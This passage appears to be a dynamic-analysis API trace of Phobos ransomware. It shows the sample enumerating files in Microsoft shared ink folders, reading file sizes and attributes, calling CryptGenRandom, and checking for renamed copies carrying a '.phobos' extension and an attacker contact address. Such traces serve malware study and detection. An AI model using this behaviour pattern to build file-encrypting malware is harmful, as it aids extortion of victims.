dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0147.990] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=48936) returned 1 [0147.990] CloseHandle (hObject=0x568) returned 1 [0147.990] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0147.991] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0147.995] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0147.995] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0147.996] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.001] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=84190) returned 1 [0148.001] CloseHandle (hObject=0x568) returned 1 [0148.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0148.001] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.001] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.001] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.002] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=180172) returned 1 [0148.002] CloseHandle (hObject=0x568) returned 1 [0148.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0148.002] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.002] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.003] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.003] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.003] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=208408) returned 1 [0148.003] CloseHandle (hObject=0x568) returned 1 [0148.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0148.004] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.004] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.004] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.004] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.005] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=181964) returned 1 [0148.005] CloseHandle (hObject=0x568) returned 1 [0148.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0148.005] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.009] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.010] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.010] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.013] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1434) returned 1 [0148.013] CloseHandle (hObject=0x568) returned 1 [0148.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml")) returned 0x20 [0148.013] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\auxpad\\auxbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.014] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.014] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.016] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=903) returned 1 [0148.016] CloseHandle (hObject=0x568) returned 1 [0148.016] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml")) returned 0x20 [0148.017] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert\\insertbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.017] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.017] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.019] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=215) returned 1 [0148.019] CloseHandle (hObject=0x568) returned 1 [0148.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml")) returned 0x20 [0148.019] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\insert.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\insert.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.019] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.019] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.022] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=903) returned 1 [0148.022] CloseHandle (hObject=0x568) returned 1 [0148.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml")) returned 0x20 [0148.023] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.025] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\keypad\\keypadbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.034] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.034] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.036] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=804) returned 1 [0148.037] CloseHandle (hObject=0x568) returned 1 [0148.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml")) returned 0x20 [0148.037] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_jpn.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.037] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.037] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.038] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=488) returned 1 [0148.038] CloseHandle (hObject=0x568) returned 1 [0148.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml")) returned 0x20 [0148.038] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_kor.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.038] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.038] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.039] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=617) returned 1 [0148.039] CloseHandle (hObject=0x568) returned 1 [0148.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml")) returned 0x20 [0148.039] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.039] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\base_rtl.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.040] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.040] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.040] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=15097) returned 1 [0148.040] CloseHandle (hObject=0x568) returned 1 [0148.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml")) returned 0x20 [0148.040] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.042] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\ko-kr.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.043] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.043] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.052] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=10947) returned 1 [0148.052] CloseHandle (hObject=0x568) returned 1 [0148.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml")) returned 0x20 [0148.052] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\main\\zh-phonetic.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.052] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.052] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.053] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1069) returned 1 [0148.053] CloseHandle (hObject=0x568) returned 1 [0148.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml")) returned 0x20 [0148.053] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav\\osknavbase.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.053] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.053] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.054] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=213) returned 1 [0148.054] CloseHandle (hObject=0x568) returned 1 [0148.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml")) returned 0x20 [0148.054] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml.id[B4197730-0001].[phobosrecovery@cock.li].phobos" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml.id[b4197730-0001].[phobosrecovery@cock.li].phobos")) returned 0xffffffff [0148.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknav.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0148.054] CryptGenRandom (in: hProv=0x8067b0, dwLen=0x10, pbBuffer=0x425faf8 | out: pbBuffer=0x425faf8) returned 1 [0148.054] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x568 [0148.055] GetFileSizeEx (in: hFile=0x568, lpFileSize=0x425fa98 | out: lpFileSize=0x425fa98*=1853) returned 1 [0148.055] CloseHandle (hObject=0x568) returned 1 [0148.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fsdefinitions\\osknumpad\\osknumpadbase.xml")) returned 0x20 [0148.055] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\microsoft 